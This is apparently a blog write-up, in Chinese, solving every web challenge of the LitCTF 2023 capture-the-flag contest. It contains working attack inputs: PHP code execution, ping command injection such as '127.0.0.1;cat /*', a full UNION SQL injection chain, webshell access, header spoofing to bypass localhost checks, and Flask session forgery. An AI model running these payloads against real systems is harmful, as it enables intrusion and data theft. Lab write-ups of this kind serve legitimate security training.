[LitCTF2023] web方向全题解wp

LitCTF2023

我Flag呢?

签到题,f12获取flag

这里注意看一下源代码,有彩蛋

先留着

LitCTF{First_t0_The_k3y! (1/?) 

导弹迷踪

前端js小游戏

开调试器进行代码审计

可知当游戏进入finished状态的时候会得到flag,可以直接找到

[LitCTF2023] web方向全题解wp_第1张图片

Follow me and hack me

传参题,按照要求传参直接出

[LitCTF2023] web方向全题解wp_第2张图片

CTF=Lit2023
Post:Challenge = i'm_c0m1ng

传入得到flag,然后提示备份文件还有好恰的,备份文件无非几种,直接访问www.zip

[LitCTF2023] web方向全题解wp_第3张图片

下载压缩包,压缩包里有index.php.bak文件,打开

在这里插入图片描述

获得第三个彩蛋

[LitCTF2023] web方向全题解wp_第4张图片

_R3ady_Pl4yer_000ne_ (3/?)

PHP是世界上最好的语言!!

看文本框是进行代码执行,直接在右边构造payload:

system("ls /");

在这里插入图片描述

然后cat /f*得到flag

[LitCTF2023] web方向全题解wp_第5张图片

Vim yyds

利用dirsearch扫描网站

dirsearch.py -u http://node5.anna.nssctf.cn:28266/

扫描结果如下:

[LitCTF2023] web方向全题解wp_第6张图片

Vim缓存泄露,输入如扫描结果,访问/.index.php.swp会下载该文件

[LitCTF2023] web方向全题解wp_第7张图片

整理后代码如下,仔细看前面的代码php短标签是反着来,所以要整理下:


error_reporting(0);
$password = "Give_Me_Your_Flag"; 
echo "

can can need Vim

"
; if ($_POST['password'] === base64_encode($password)){ echo "

Oh You got my password!

"
eval(system($_POST['cmd'])); } ?>

说明我们要传入password变量,使其值base64加密后的Give_Me_Your_Flag

构造payload:

POST
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=

[LitCTF2023] web方向全题解wp_第8张图片

You got password!

接下来post传入cmd变量进行rce就可以得到flag

cmd=ls /
cmd=cat /f*

作业管理系统

[LitCTF2023] web方向全题解wp_第9张图片

f12有hint,默认账户和密码都是admin

这道题一眼就知道有好多种写法,文件上传一种,文件创建一种,这里用的是文件创建
[LitCTF2023] web方向全题解wp_第10张图片

创建文件名为flag.php

在这里插入图片描述

然后编辑文件,内容就是基本的文件上传漏洞的内容


[LitCTF2023] web方向全题解wp_第11张图片

然后点保存,接下来返回开始的界面去访问该文件

http://node5.anna.nssctf.cn:28807/flag.php

存在说明已经创建成功,接下来可以选择RCE或者蚁剑连接,我选的用蚁剑连接

[LitCTF2023] web方向全题解wp_第12张图片

连接成功,在根目录下得到flag

Ping

ping命令考察,先输入127.0.1试试水,可以有回显

[LitCTF2023] web方向全题解wp_第13张图片

然后构造payload扫描根目录:

127.0.0.1|ls;

[LitCTF2023] web方向全题解wp_第14张图片

这里多试了几次管道符,猜测是前端检测,利用burp抓包然后改包

通过抓包改变ping命令

127.0.0.1;ls

获得到根目录下文件

[LitCTF2023] web方向全题解wp_第15张图片

然后构造payload获得flag

127.0.0.1;cat /*

[LitCTF2023] web方向全题解wp_第16张图片

这是什么?SQL !注一下 !

已经告诉你闭合方式了,直接开注!

先判断显示位,payload:

-1)))))) union select 1,2#

[LitCTF2023] web方向全题解wp_第17张图片

爆库:

1)))))) and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata#

得到库名

information_schema,mysql,ctftraining,performance_schema,test,ctf

爆表:

1)))))) and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema="ctf"

得到表名:

users

爆列:

1)))))) and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name="users"#

得到列名:

id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

获取值:

1)))))) and 1=2 union select 1,group_concat(password) from ctf.users

获得彩蛋(难蚌):

OHHHHHHH,F1rst_to_Th3_eggggggggg!} 

重新爆表:

1)))))) and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema="ctftraining"#

得到表明:

flag,news,users

重新爆列:

1)))))) and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name="flag"#

获得列名:

flag

重新获取值:

1)))))) and 1=2 union select 1,group_concat(flag) from ctftraining.flag#

彩蛋

我们通过前面的题已经得到了4个彩蛋,组合一下

LitCTF{First_t0_The_k3y! (1/?)

_S0_ne3t? (2/?)

_R3ady_Pl4yer_000ne_ (3/?)

F1rst_to_Th3_eggggggggg!}

组合获得flag:

NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

Http pro max plus

postman杀穿了()

[LitCTF2023] web方向全题解wp_第18张图片

显示只允许本地访问,第一反应就是伪造X-Forwarded-For头,但是被嘲讽了

[LitCTF2023] web方向全题解wp_第19张图片

于是又试了好多东西,我直接一并列出来了

X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
X-Requested-With: 127.0.0.1
X-Forwarded-Proto: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-remote-IP: 127.0.0.1
X-remote-addr: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
Ali-CDN-Real-IP: 127.0.0.1
Cdn-Src-Ip: 127.0.0.1
Cdn-Real-Ip: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
WL-Proxy-Client-IP: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
Fastly-Client-Ip: 127.0.0.1
True-Client-Ip: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1

最后发现能用的是Client-IP

在这里插入图片描述

?我怕这名字不过审,我直接伪造Referer为这个网站了

在这里插入图片描述

然后回显要用Chrome浏览器,伪造User-Agent为Chrome

在这里插入图片描述

这个找了好久,最后发现是伪造Via

在这里插入图片描述

在这里插入图片描述

OK,借一部说话,去访问wtfwtfwtfwtf.php文件

得到源码

<html>
<title>你说得对,but where is flag?title>

<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
head>

<body>
	<a href="https://doc.miyun.app/app/clash-win/">
		The first step-----><button>click me to get Clash!button>
	a>
body>

<body>
		//网站被我删了
		The second step-----><button>open your eyes on pornhub️button>
	a>
body>

<body>
	<a href="./jiege.jpg">
		The 3rd step-----><button>that is what you want: 色图.jpgbutton>
	a>
body>


html>

可以看到有hint,再访问 /sejishikong.php得到flag

就当无事发生

给了个GitHub项目的链接

[LitCTF2023] web方向全题解wp_第20张图片

https://ProbiusOfficial.github.io

后来听佬说是社工题,我也没照,直接贴链接

https://github.com/ProbiusOfficial/ProbiusOfficial.github.io/commit/f04fe251bf8811324d4e71cd87b4b15581358490#diff-1474f5fa679c8ac3ff897f022f78e6d753c107596c85a05c06a7466478a3f43

然后在flag是什么呢里面可以找到flag

[LitCTF2023] web方向全题解wp_第21张图片

1zjs

魔方小游戏,一开始不信是代码审计,所以就用dirsearch扫了扫(没啥用)

[LitCTF2023] web方向全题解wp_第22张图片

那就审呗,看源代码得到hint,进入[email protected]文件

[LitCTF2023] web方向全题解wp_第23张图片

得到一段jsfuck解密(md,看的我眼花),控制台跑一下,得到flag

[LitCTF2023] web方向全题解wp_第24张图片

Flag点击就送!

一开始没什么思路,就先用dirsearch扫了扫
在这里插入图片描述

没有扫出来什么东西,然后就随便看,看到了有session

[LitCTF2023] web方向全题解wp_第25张图片

猜测是session伪造,但是要是想进行session伪造就要先知道secret_key,由于没有明显提示secret_key只能猜,联想比赛题目,是LitCTF,利用flask_session_cookie_manager3进行session伪造,先验证正确性:

在这里插入图片描述

decode解密成功,然后接下来就进行session伪造

在这里插入图片描述

把伪造好的session利用burp抓包然后修改

eyJuYW1lIjoiYWRtaW4ifQ.ZGCq-A.8H9RmjSBHw5uvGpprkWTXFFcxlE

[LitCTF2023] web方向全题解wp_第26张图片

得到flag
关于session伪造具体可以看[HDCTF2023] NSSweb方向题解的YamiYami

你可能感兴趣的:(CTF比赛复现,php,web安全)